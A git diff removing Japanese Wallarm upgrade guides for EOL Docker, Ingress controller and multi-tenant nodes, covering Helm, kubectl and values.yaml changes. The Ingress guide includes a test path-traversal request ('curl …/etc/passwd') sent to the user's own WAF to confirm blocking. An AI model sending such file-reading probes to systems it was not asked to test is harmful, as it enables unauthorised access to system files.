更新済みイメージを使用してコンテナを起動します - -更新済みイメージを使用してコンテナを起動し、[イメージの最適化](what-is-new.md#optimized-and-more-secure-nginx-based-docker-image)や[置き換え](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)による最近の変更がある場合は、マウントするファイルのパスを必要に応じて調整してください。 - -更新済みイメージでコンテナを実行する方法は2つあります。 - -* [環境変数を使用する方法](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) -* [設定ファイルをマウントする方法](../../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -## 手順13: 最新バージョンでの変更に合わせてWallarmノードのフィルタリングモード設定を調整します（ノード2.18以下をアップグレードする場合のみ） - -1. 以下の設定について、期待する挙動が[`off`および`monitoring`フィルタリングモードの変更されたロジック](what-is-new.md#filtration-modes)と一致していることを確認してください。 - * NGINXベースのDockerコンテナの環境変数[`WALLARM_MODE`](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables)またはディレクティブ[`wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Wallarm Consoleで構成した全体フィルタリングルール](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Consoleで構成したエンドポイント対象のフィルタリングルール](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) -2. 期待する挙動が変更後のフィルタリングモードのロジックと一致しない場合は、[手順](../../admin-en/configure-wallarm-mode.md)に従って設定を変更内容に合わせて調整してください。 - -## 手順14: フィルタリングノードの動作をテストします - ---8<-- "../include/waf/installation/test-after-node-type-upgrade.md" - -## 手順15: 以前のバージョンのフィルタリングノードを削除します - -デプロイした6.xのイメージが正しく動作していることを確認できたら、Wallarm Console→**Nodes**セクションで以前のバージョンのフィルタリングノードを削除できます。 - -## 手順16: Threat Replay Testingモジュールを再度有効化します（ノード2.16以下をアップグレードする場合のみ） - -[Threat Replay Testingモジュールの設定に関する推奨事項](../../vulnerability-detection/threat-replay-testing/setup.md)を確認し、必要に応じて再度有効化してください。 - -しばらく運用した後、このモジュールの動作によって誤検知が発生していないことを確認してください。誤検知が発生する場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)にお問い合わせください。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/older-versions/ingress-controller.md b/docs/latest-ja/updating-migrating/older-versions/ingress-controller.md deleted file mode 100644 index 0c62e39954..0000000000 --- a/docs/latest-ja/updating-migrating/older-versions/ingress-controller.md +++ /dev/null @@ -1,472 +0,0 @@ -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Wallarmモジュールを統合したEOLのNGINX Ingress controllerのアップグレード - -本書では、サポート終了（EOL）のWallarm Ingress Controller（バージョン3.6以下）を、Wallarmノード6.xを搭載した新バージョンへアップグレードする手順を説明します。 - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -!!! warning "アップグレードされるCommunity Ingress NGINX Controllerのバージョン" - ノードを3.4以下からアップグレードする場合、Wallarm Ingress controllerのベースとなるCommunity Ingress NGINX Controllerのバージョンが0.26.2から1.11.5に更新されている点にご注意ください。 - - Community Ingress NGINX Controller 1.11.5では動作が大きく変更されているため、Wallarm Ingress controllerのアップグレード時に、これらの変更に合わせて構成を調整する必要があります。 - - 本書には、変更が必要となる可能性が高いCommunity Ingress NGINX Controllerの設定の一覧が含まれます。ただし、[Community Ingress NGINX Controllerのリリースノート](https://github.com/kubernetes/ingress-nginx/blob/main/Changelog.md)に基づき、構成移行の個別計画を必ず策定してください。 - -## 要件 - ---8<-- "../include/waf/installation/requirements-nginx-ingress-controller-6.x.md" - -## 手順1: フィルタリングノードモジュールをアップグレードすることをWallarmテクニカルサポートに通知します（ノード2.18以下のアップグレード時のみ） - -ノード2.18以下からアップグレードする場合、[Wallarmテクニカルサポート](mailto:support@wallarm.com)にフィルタリングノードモジュールを6.xまで更新する旨を連絡し、Wallarmアカウントに対して新しいIPリストロジックの有効化を依頼してください。 - -新しいIPリストロジックが有効化されたら、Wallarm Consoleを開き、[**IP lists**](../../user-guides/ip-lists/overview.md)セクションが利用可能であることを確認してください。 - -## 手順2: Threat Replay Testingモジュールを無効化します（ノード2.16以下のアップグレード時のみ） - -Wallarmノード2.16以下からアップグレードする場合、Wallarm Console → **Vulnerabilities** → **Configure**で[Threat Replay Testing](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing)モジュールを無効化してください。 - -アップグレード中のモジュール動作により[誤検知](../../about-wallarm/protecting-against-attacks.md#false-positives)が発生する可能性があります。モジュールを無効化することで、このリスクを最小限に抑えられます。 - -## 手順3: APIポートを更新する - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## 手順4: Wallarm Helmチャートリポジトリを更新する - -=== "Helmリポジトリを使用する場合" - ```bash - helm repo update wallarm - ``` -=== "クローンしたGitHubリポジトリを使用する場合" - すべてのチャートバージョンを含む[Wallarm Helmリポジトリ](https://charts.wallarm.com/)を以下のコマンドで追加してください。以降のWallarm Ingress controllerの操作には、Helmリポジトリを使用してください。 - - ```bash - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` - -## 手順5: `values.yaml`設定を更新する - -Wallarm Ingress controller 6.xへ移行するには、`values.yaml`ファイルで指定している以下の構成を更新します。 - -* Community Ingress NGINX Controllerの標準構成 -* Wallarmモジュールの構成 - -### Community Ingress NGINX Controllerの標準構成 - -1. [Community Ingress NGINX Controllerのリリースノート](https://github.com/kubernetes/ingress-nginx/blob/main/Changelog.md)（0.27.0以上）を確認し、`values.yaml`で変更が必要な設定を特定します。 -2. 特定した設定を`values.yaml`で更新します。 - -変更が必要となる可能性がある設定は次のとおりです。 - -* リクエストがロードバランサを経由してWallarm Ingress controllerに送信される場合の、[エンドユーザ公開IPアドレスの正確な報告](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md)。 - - ```diff - controller: - config: - - use-forwarded-headers: "true" - + enable-real-ip: "true" - + forwarded-for-header: "X-Forwarded-For" - ``` -* [IngressClassの構成](https://kubernetes.github.io/ingress-nginx/user-guide/multiple-ingress/)。新しいIngress controllerでは使用するKubernetes APIのバージョンが更新されており、`.controller.ingressClass`、`.controller.ingressClassResource`、`.controller.watchIngressWithoutClass`パラメータでIngressClassを構成する必要があります。 - - ```diff - controller: - + ingressClass: waf-ingress - + ingressClassResource: - + name: waf-ingress - + default: true - + watchIngressWithoutClass: true - ``` -* [ConfigMap（`.controller.config`）のパラメータセット](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/)。例: - - ```diff - controller: - config: - + allow-backend-server-header: "false" - enable-brotli: "true" - gzip-level: "3" - hide-headers: Server - server-snippet: | - proxy_request_buffering on; - wallarm_enable_libdetection on; - ``` -* ["admission webhook"によるIngress構文の検証](https://kubernetes.github.io/ingress-nginx/how-it-works/#avoiding-outage-from-wrong-configuration)がデフォルトで有効になりました。 - - ```diff - controller: - + admissionWebhooks: - + enabled: true - ``` - - !!! warning "Ingress構文検証の無効化" - Ingressオブジェクトの動作を不安定にする場合に限り、Ingress構文検証を無効化することを推奨します。 -* [ラベル](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/)形式。`values.yaml`でPodアフィニティルールを設定している場合、以下のようにラベル形式を変更してください。 - - ```diff - controller: - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - podAffinityTerm: - labelSelector: - matchExpressions: - - - key: app - + - key: app.kubernetes.io/name - operator: In - values: - - waf-ingress - - - key: component - + - key: app.kubernetes.io/component - operator: In - values: - - - waf-ingress - + - controller - - - key: release - + - key: app.kubernetes.io/instance - operator: In - values: - - waf-ingress-ingress - topologyKey: kubernetes.io/hostname - weight: 100 - ``` - -### Wallarmモジュールの構成 - -`values.yaml`で設定しているWallarmモジュールの構成を次のとおり変更します。 - -* バージョン2.18以下からアップグレードする場合、IPリスト構成を[移行](../migrate-ip-lists-to-node-3.md)してください。`values.yaml`から削除される可能性があるパラメータは次のとおりです。 - - ```diff - controller: - wallarm: - enabled: true - - acl: - - enabled: true - resources: {} - ``` - - Wallarmノード3.xではIPリストの中核ロジックが大幅に変更されているため、IPリスト構成をそれに合わせて調整する必要があります。 -* [Tarantoolからwstoreへの移行](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)に伴い、Helmの値名が`controller.wallarm.tarantool` → `controller.wallarm.postanalytics`に変更されました。ポストアナリティクス用メモリを明示的に[割り当て](../../admin-en/configuration-guides/allocate-resources-for-node.md)ている場合は、`values.yaml`にこの変更を適用してください。 -* [**Node deployment/Deployment**用途のAPIトークンを生成](../../user-guides/settings/api-tokens.md)し、その値を`controller.wallarm.token`パラメータに設定してください。 -* 以下の設定で期待する挙動が、[`off`および`monitoring`フィルタリングモードの変更後のロジック](what-is-new.md#filtration-modes)と一致していることを確認してください。 - - * [ディレクティブ`wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Wallarm Consoleで構成する全体フィルタリングルール](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Consoleで構成するエンドポイント単位のフィルタリングルール](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) - - 期待する挙動が変更後のフィルタリングモードロジックと一致しない場合は、[Ingressアノテーション](../../admin-en/configure-kubernetes-en.md#ingress-annotations)や[その他の設定](../../admin-en/configure-wallarm-mode.md)を変更点に合わせて調整してください。 -* 明示的な[監視サービスの構成](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md)は不要です。新しいWallarm Ingress controllerでは監視サービスがデフォルトで有効化され、追加設定は不要です。 - - ```diff - controller: - wallarm: - enabled: true - - tarantool: - + wstore: - resources: {} - - metrics: - - enabled: true - - service: - - annotations: {} - ``` -* ConfigMapで設定したページ`&/usr/share/nginx/html/wallarm_blocked.html`がブロック時のレスポンスとして返される場合、提供された変更に合わせて[設定を調整](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page)してください。 - - 新しいノードバージョンでは、Wallarmのサンプルブロッキングページは[新しいブロッキングページ](what-is-new.md#new-blocking-page)に示すとおり、デフォルトでロゴとサポートメールが表示されない更新UIになりました。 -* [`wallarm_process_time_limit`][nginx-process-time-limit-docs]および[`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs]というNGINXディレクティブで`overlimit_res`攻撃検出をカスタマイズしている場合は、この設定を[ルールへ移行](#step-6-transfer-the-overlimit_res-attack-detection-configuration-from-directives-to-the-rule)し、`values.yaml`から削除してください。 - -## 手順6: `overlimit_res`攻撃検出の設定をディレクティブからルールへ移行する - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md" - -## 手順7: 反映されるK8sマニフェストの変更をすべて確認する - -Ingress controllerの挙動が予期せず変化しないよう、[Helm Diff Plugin](https://github.com/databus23/helm-diff)を使用して、反映予定のK8sマニフェスト差分を確認してください。このプラグインは、現在デプロイ中のIngress controllerバージョンと新バージョンのK8sマニフェストの差分を出力します。 - -プラグインのインストールと実行: - -1. プラグインをインストールします。 - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. プラグインを実行します。 - - ```bash - helm diff upgrade -n wallarm/wallarm-ingress --version 6.4.0 -f - ``` - - * ``: Ingress controllerチャートのHelmリリース名 - * ``: Ingress controllerをデプロイしているNamespace - * ``: [Ingress controller 6.xの設定](#step-5-update-the-valuesyaml-configuration)を定義する`values.yaml`ファイルのパス -3. 変更が稼働中サービスの安定性に影響しないことを確認し、stdoutに出力されたエラーを慎重に確認してください。 - - stdoutが空の場合は、`values.yaml`が正しいことを確認してください。 - -以下の構成の変更に注意してください。 - -* 変更不可能なフィールド（例: DeploymentやStatefulSetのセレクタ）。 -* Podラベル。以下のような変更により、NetworkPolicyの動作が停止する可能性があります。 - - ```diff - apiVersion: networking.k8s.io/v1 - kind: NetworkPolicy - spec: - egress: - - to: - - namespaceSelector: - matchExpressions: - - key: name - operator: In - values: - - kube-system # ${NAMESPACE} - podSelector: - matchLabels: # RELEASE_NAME=waf-ingress - - app: waf-ingress - + app.kubernetes.io/component: "controller" - + app.kubernetes.io/instance: "waf-ingress" - + app.kubernetes.io/name: "waf-ingress" - - component: waf-ingress - ``` -* Prometheusの新しいラベルでの構成。例: - - ```diff - - job_name: 'kubernetes-ingress' - kubernetes_sd_configs: - - role: pod - namespaces: - names: - - kube-system # ${NAMESPACE} - relabel_configs: # RELEASE_NAME=waf-ingress - # セレクタ - - - source_labels: [__meta_kubernetes_pod_label_app] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_name] - action: keep - regex: waf-ingress - - - source_labels: [__meta_kubernetes_pod_label_release] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_instance] - action: keep - regex: waf-ingress - - - source_labels: [__meta_kubernetes_pod_label_component] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_component] - action: keep - - regex: waf-ingress - + regex: controller - - source_labels: [__meta_kubernetes_pod_container_port_number] - action: keep - regex: "10254|18080" - # 置換 - - action: replace - target_label: __metrics_path__ - regex: /metrics - - action: labelmap - regex: __meta_kubernetes_pod_label_(.+) - - source_labels: [__meta_kubernetes_namespace] - action: replace - target_label: kubernetes_namespace - - source_labels: [__meta_kubernetes_pod_name] - action: replace - target_label: kubernetes_pod_name - - source_labels: [__meta_kubernetes_pod_name] - regex: (.*) - action: replace - target_label: instance - replacement: "$1" - ``` -* その他の変更も分析してください。 - -## 手順8: Ingress controllerをアップグレードする - -Wallarm Ingress controllerのアップグレード方法は3通りあります。環境にロードバランサがあるかどうかに応じて、以下から選択してください。 - -* 一時的なIngress controllerのデプロイ -* Ingress controllerリリースの通常の再作成 -* ロードバランサに影響を与えないIngress controllerリリースの再作成 - -!!! warning "ステージング環境またはminikubeの利用" - Wallarm Ingress controllerがステージング環境にデプロイされている場合は、まずステージングをアップグレードすることを推奨します。ステージング環境で全サービスが正しく動作することを確認できたら、本番環境のアップグレードに進んでください。 - - そうでなければ、先にminikubeや他のサービスを用いて、更新済み構成で[Wallarm Ingress controller 6.xをデプロイ](../../admin-en/installation-kubernetes-en.md)することを推奨します。すべてのサービスが期待どおり動作することを確認してから、本番環境のIngress controllerをアップグレードしてください。 - - このアプローチにより、本番環境のダウンタイムを回避しやすくなります。 - -### 方法1: 一時的なIngress controllerのデプロイ - -この方法では、環境にIngress Controller 6.xを追加でデプロイし、トラフィックを段階的に切り替えられます。サービスの一時的な停止も避けられ、安全に移行できます。 - -1. 旧バージョンの`values.yaml`からIngressClassの構成を、Ingress controller 6.x用の`values.yaml`にコピーします。 - - この構成により、Ingress controllerはIngressオブジェクトを認識しますが、そのトラフィックは処理しません。 -2. Ingress controller 6.xをデプロイします。 - - ```bash - helm install -n wallarm/wallarm-ingress --version 6.4.0 -f - ``` - - * ``: Ingress controllerチャートのHelmリリース名 - * ``: Ingress controllerをデプロイするNamespace - * ``: [Ingress controller 6.xの設定](#step-5-update-the-valuesyaml-configuration)を定義する`values.yaml`ファイルのパス -3. すべてのサービスが正しく動作することを確認します。 -4. 新しいIngress controllerへ段階的に負荷を切り替えます。 - -### 方法2: Ingress controllerリリースの通常の再作成 - -**ロードバランサとIngress controllerが同一のHelmチャートで定義されていない場合**は、Helmリリースを再作成するだけで構いません。数分かかり、その間Ingress controllerは利用できません。 - -!!! warning "Helmチャートでロードバランサの構成も設定している場合" - HelmチャートでロードバランサとIngress controllerを併せて構成している場合、リリースの再作成によりロードバランサが長時間ダウンする可能性があります（クラウドプロバイダに依存）。固定アドレスを割り当てていない場合、アップグレード後にロードバランサのIPアドレスが変更される可能性もあります。 - - この方法を選択する場合は、想定される全リスクを分析してください。 - -Ingress controllerリリースを再作成するには: - -=== "Helm CLI" - 1. 旧リリースを削除します。 - - ```bash - helm delete -n - ``` - - * ``: Ingress controllerチャートのHelmリリース名 - - * ``: Ingress controllerをデプロイしているNamespace - - 実行時に`--wait`オプションは使用しないでください。アップグレード時間が延びる可能性があります。 - - 2. Ingress controller 6.xで新しいリリースを作成します。 - - ```bash - helm install -n wallarm/wallarm-ingress --version 6.4.0 -f - ``` - - * ``: Ingress controllerチャートのHelmリリース名 - - * ``: Ingress controllerをデプロイするNamespace - - * ``: [Ingress controller 6.xの設定](#step-5-update-the-valuesyaml-configuration)を定義する`values.yaml`ファイルのパス -=== "Terraform CLI" - 1. アップグレード時間を短縮するため、Terraform構成で`wait = false`オプションを設定します。 - - ```diff - resource "helm_release" "release" { - ... - - + wait = false - - ... - } - ``` - - 2. 旧リリースを削除します。 - - ```bash - terraform taint helm_release.release - ``` - - 3. Ingress controller 6.xで新しいリリースを作成します。 - - ```bash - terraform apply -target=helm_release.release - ``` - -### 方法3: ロードバランサに影響を与えないIngress controllerリリースの再作成 - -クラウドプロバイダが構成したロードバランサを使用している場合は、ロードバランサに影響を与えないこの方法でIngress controllerをアップグレードすることを推奨します。 - -リリースの再作成には数分かかり、その間Ingress controllerは利用できません。 - -1. （ロードバランサを除く）削除対象のオブジェクトを取得します。 - - ```bash - helm get manifest -n | yq -r '. | select(.spec.type != "LoadBalancer") | .kind + "/" + .metadata.name' | tr 'A-Z' 'a-z' > objects-to-remove.txt - ``` - - ユーティリティ`yq`のインストールは、[こちらの手順](https://pypi.org/project/yq/)を参照してください。 - - 削除対象オブジェクトは`objects-to-remove.txt`ファイルに出力されます。 -2. 列挙したオブジェクトを削除し、リリースを再作成します。 - - ```bash - cat objects-to-remove.txt | xargs kubectl delete --wait=false -n && \ - helm upgrade -n wallarm/wallarm-ingress --version 6.4.0 -f `` - ``` - - サービスのダウンタイムを短縮するため、コマンドは別々に実行しないことを推奨します。 -3. すべてのオブジェクトが作成されたことを確認します。 - - ```bash - helm get manifest -n | kubectl create -f - - ``` - - すべてのオブジェクトが既に存在する旨の出力が表示されるはずです。 - -上記のコマンドで使用するパラメータは次のとおりです。 - -* ``: Ingress controllerチャートのHelmリリース名 -* ``: Ingress controllerをデプロイしているNamespace -* ``: [Ingress controller 6.xの設定](#step-5-update-the-valuesyaml-configuration)を定義する`values.yaml`ファイルのパス - -## 手順9: アップグレード済みIngress controllerをテストする - -1. Helmチャートのバージョンが更新されたことを確認します。 - - ```bash - helm ls - ``` - - チャートバージョンは`wallarm-ingress-6.4.0`である必要があります。 -1. WallarmのPodを取得します。 - - ``` bash - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - Podのステータスは**STATUS: Running**で、**READY: N/N**である必要があります。 - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - ingress-controller-wallarm-ingress-controller-wallarm-wstore-7ddmgbfm 3/3 Running 0 8m7s - ``` - -3. テスト用の[Path Traversal](../../attacks-vulns-list.md#path-traversal)攻撃をWallarm Ingress controllerのアドレスに送信します。 - - ```bash - curl http:///etc/passwd - ``` - - フィルタリングノードが`block`モードで動作している場合、レスポンスとして`403 Forbidden`コードが返り、攻撃はWallarm Console → **Attacks**に表示されます。 - -## 手順10: リリースされた変更に合わせてIngressアノテーションを調整する - -Ingress controller 6.xでリリースされた変更に合わせ、以下のIngressアノテーションを調整してください。 - -1. バージョン2.18以下からアップグレードする場合、IPリスト構成を[移行](../migrate-ip-lists-to-node-3.md)してください。Wallarmノード3.xではIPリストの中核ロジックが大幅に変更されているため、（適用している場合は）Ingressアノテーションの変更により、IPリスト構成を適切に調整する必要があります。 -1. 以下の設定で期待する挙動が、[`off`および`monitoring`フィルタリングモードの変更後のロジック](what-is-new.md#filtration-modes)と一致していることを確認してください。 - - * [ディレクティブ`wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Wallarm Consoleで構成する全体フィルタリングルール](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Consoleで構成するエンドポイント単位のフィルタリングルール](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) - - 期待する挙動が変更後のフィルタリングモードロジックと一致しない場合は、[Ingressアノテーション](../../admin-en/configure-kubernetes-en.md#ingress-annotations)を変更点に合わせて調整してください。 -1. Ingressに`nginx.ingress.kubernetes.io/wallarm-instance`アノテーションを付与している場合は、このアノテーション名を`nginx.ingress.kubernetes.io/wallarm-application`に変更してください。 - - 変更されたのはアノテーション名のみで、ロジックは同じです。旧名のアノテーションはまもなく非推奨となるため、事前に名称を変更することを推奨します。 -1. Ingressアノテーションで設定したページ`&/usr/share/nginx/html/wallarm_blocked.html`がブロック時のレスポンスとして返される場合、提供された変更に合わせて[設定を調整](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page)してください。 - - 新しいノードバージョンでは、Wallarmのブロッキングページは[新しいブロッキングページ](what-is-new.md#new-blocking-page)に示すとおり、デフォルトでロゴとサポートメールが表示されない更新UIになりました。 - -## 手順11: Threat Replay Testingモジュールを再有効化します（ノード2.16以下のアップグレード時のみ） - -[Threat Replay Testingモジュールのセットアップに関する推奨事項](../../vulnerability-detection/threat-replay-testing/setup.md)を確認し、必要に応じて再有効化してください。 - -しばらくしてから、モジュールの動作が誤検知を引き起こしていないことを確認してください。誤検知が発生する場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)までご連絡ください。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/older-versions/multi-tenant.md b/docs/latest-ja/updating-migrating/older-versions/multi-tenant.md deleted file mode 100644 index 8528171308..0000000000 --- a/docs/latest-ja/updating-migrating/older-versions/multi-tenant.md +++ /dev/null @@ -1,251 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - -# EOLマルチテナントノードのアップグレード - -本手順では、サポート終了（EOL）のマルチテナントノード（バージョン3.6以下）を最新の6.xへアップグレードする手順を説明します。 - -## 要件 - -* [テクニカルテナントアカウント](../../installation/multi-tenant/overview.md#tenant-accounts)配下で**Global administrator**ロールが付与されたユーザーによる以降のコマンド実行 -* US Wallarm Cloudで作業する場合は`https://us1.api.wallarm.com`、EU Wallarm Cloudで作業する場合は`https://api.wallarm.com`へのアクセス。ファイアウォールでアクセスがブロックされていないことを確認します -* 以下のIPアドレスへのアクセス（攻撃検出ルールとAPI仕様の更新ダウンロード、ならびにallowlisted、denylisted、graylistedの国・地域・データセンターに対する正確なIPの取得のため） - - --8<-- "../include/wallarm-cloud-ips.md" - -## ステップ1: Wallarmサポートチームに連絡 - -マルチテナントノードのアップグレード中に[カスタムルールセットのビルド](../../user-guides/rules/rules.md#ruleset-lifecycle)機能の最新バージョンを利用できるようにするため、[Wallarmサポートチーム](mailto:support@wallarm.com)に支援を依頼します。 - -!!! info "アップグレードのブロック" - カスタムルールセットのビルド機能のバージョンが正しくない場合、アップグレード処理がブロックされる可能性があります。 - -サポートチームは、マルチテナントノードのアップグレードや必要な再設定に関するすべての質問にも対応します。 - -## ステップ2: 標準的なアップグレード手順に従う - -標準手順は以下のとおりです: - -* [Wallarm NGINXモジュールのアップグレード](nginx-modules.md) -* [postanalyticsモジュールのアップグレード](separate-postanalytics.md) -* [WallarmのDocker NGINXベースイメージのアップグレード](docker-container.md) -* [Wallarmモジュール統合版NGINX Ingress Controllerのアップグレード](ingress-controller.md) -* [クラウドノードイメージのアップグレード](cloud-image.md) - -!!! warning "マルチテナントノードの作成" - Wallarmノードを作成する際は、**Multi-tenant node**オプションを選択してください: - - ![マルチテナントノードの作成](../../images/user-guides/nodes/create-multi-tenant-node.png) - -## ステップ3: マルチテナンシーを再設定 - -トラフィックをテナントおよびそのアプリケーションに関連付ける設定を書き換えます。以下に例を示します。この例では: - -* テナントはパートナーのクライアントを表します。パートナーには2人のクライアントがいます。 -* `tenant1.com`および`tenant1-1.com`宛てのトラフィックはクライアント1に関連付ける必要があります。 -* `tenant2.com`宛てのトラフィックはクライアント2に関連付ける必要があります。 -* クライアント1には3つのアプリケーションもあります: - * `tenant1.com/login` - * `tenant1.com/users` - * `tenant1-1.com` - - これら3つのパス宛てのトラフィックは対応するアプリケーションに関連付け、それ以外はクライアント1の汎用トラフィックと見なす必要があります。 - -### 以前のバージョンの設定を確認 - -3.6では、次のように設定できます: - -``` -server { - server_name tenant1.com; - wallarm_application 20; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name tenant1-1.com; - wallarm_application 23; - ... -} - -server { - server_name tenant2.com; - wallarm_application 24; - ... -} -... -} -``` - -上記設定に関する注意事項: - -* `tenant1.com`および`tenant1-1.com`宛てのトラフィックは、`/v2/partner/111/partner_client`へのAPIリクエスト経由でこのクライアントに紐づけられた`20`および`23`の値によってクライアント1に関連付けられています。 -* 他のアプリケーションをテナントに関連付けるには、同様のAPIリクエストを送信する必要がありました。 -* テナントとアプリケーションは別個のエンティティであるため、異なるディレクティブで設定するのが理にかなっています。また、追加のAPIリクエストを避けられると便利です。設定自体でテナントとアプリケーションの関係を定義できるのが理想です。これらは現行の設定にはありませんが、後述する新しい6.xのアプローチで可能になります。 - -### 6.xのアプローチを確認 - -バージョン6.xでは、ノード設定におけるテナントの指定はUUIDで行います。 - -設定を書き換えるには、次を実施します: - -1. テナントのUUIDを取得します。 -1. テナントを含めてアプリケーションをNGINX設定ファイルで指定します。 - -### テナントのUUIDを取得 - -テナント一覧を取得するには、Wallarm APIに認証付きリクエストを送信します。認証方法は、[テナント作成に使用する方法](../../installation/multi-tenant/configure-accounts.md#via-the-wallarm-api)と同じです。 - -1. 後で紐づくUUIDを特定するために、`clientid`（複数可）を取得します: - - === "Wallarm Console経由" - - Wallarm Consoleのユーザーインターフェイスの**ID**列から`clientid`（複数可）をコピーします: - - ![Wallarm Consoleのテナントセレクター](../../images/partner-waf-node/clients-selector-in-console-ann.png) - === "APIへのリクエスト送信" - 1. `/v2/partner_client`ルートにGETリクエストを送信します: - - !!! info "独自クライアントから送信するリクエストの例" - === "US Cloud" - ``` bash - curl -X GET \ - 'https://us1.api.wallarm.com/v2/partner_client?partnerid=PARTNER_ID' \ - -H 'accept: application/json' \ - -H "X-WallarmApi-Token: " - ``` - === "EU Cloud" - ``` bash - curl -X GET \ - 'https://api.wallarm.com/v2/partner_client?partnerid=PARTNER_ID' \ - -H 'accept: application/json' \ - -H "X-WallarmApi-Token: " - ``` - - ここで、`PARTNER_ID`はテナント作成手順の[**ステップ2**](../../installation/multi-tenant/configure-accounts.md#step-1-sign-up-and-send-a-request-to-activate-the-multitenancy-feature)で取得したIDです。 - - レスポンス例: - - ``` - { - "body": [ - { - "id": 1, - "partnerid": , - "clientid": , - "params": null - }, - { - "id": 3, - "partnerid": , - "clientid": , - "params": null - } - ] - } - ``` - - 1. レスポンスから`clientid`（複数可）をコピーします。 -1. 各テナントのUUIDを取得するには、`v1/objects/client`ルートにPOSTリクエストを送信します: - - !!! info "独自クライアントから送信するリクエストの例" - === "US Cloud" - ``` bash - curl -X POST \ - https://us1.api.wallarm.com/v1/objects/client \ - -H 'content-type: application/json' \ - -H 'X-WallarmApi-Token: ' \ - -d '{ "filter": { "id": [, ]}}' - ``` - === "EU Cloud" - ``` bash - curl -X POST \ - https://api.wallarm.com/v1/objects/client \ - -H 'content-type: application/json' \ - -H 'X-WallarmApi-Token: ' \ - -d '{ "filter": { "id": [, ]}}' - ``` - - レスポンス例: - - ``` - { - "status": 200, - "body": [ - { - "id": , - "name": "", - ... - "uuid": "11111111-1111-1111-1111-111111111111", - ... - }, - { - "id": , - "name": "", - ... - "uuid": "22222222-2222-2222-2222-222222222222", - ... - } - ] - } - ``` - -1. レスポンスから`uuid`（複数可）をコピーします。 - -### NGINX設定ファイルにテナントを含め、アプリケーションを設定 - -NGINX設定ファイルで次を実施します: - -1. 取得したテナントUUIDを[`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid)ディレクティブに指定します。 -1. 保護対象のアプリケーションIDを[`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application)ディレクティブに設定します。 - - ノード3.6以下で使用していたNGINX設定にアプリケーション設定が含まれている場合は、テナントUUIDのみを指定し、アプリケーション設定は変更せずに維持します。 - -例: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name tenant1-1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - wallarm_application 23; - ... -} - -server { - server_name tenant2.com; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - ... -} -... -} -``` - -上記の設定では: - -* テナントとアプリケーションは異なるディレクティブで設定されています。 -* テナントとアプリケーションの関係は、NGINX設定ファイル内の該当ブロックにある`wallarm_application`ディレクティブで定義されています。 - -## ステップ4: Wallarmマルチテナントノードの動作をテスト - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/older-versions/nginx-modules.md b/docs/latest-ja/updating-migrating/older-versions/nginx-modules.md deleted file mode 100644 index 49a8b142cf..0000000000 --- a/docs/latest-ja/updating-migrating/older-versions/nginx-modules.md +++ /dev/null @@ -1,278 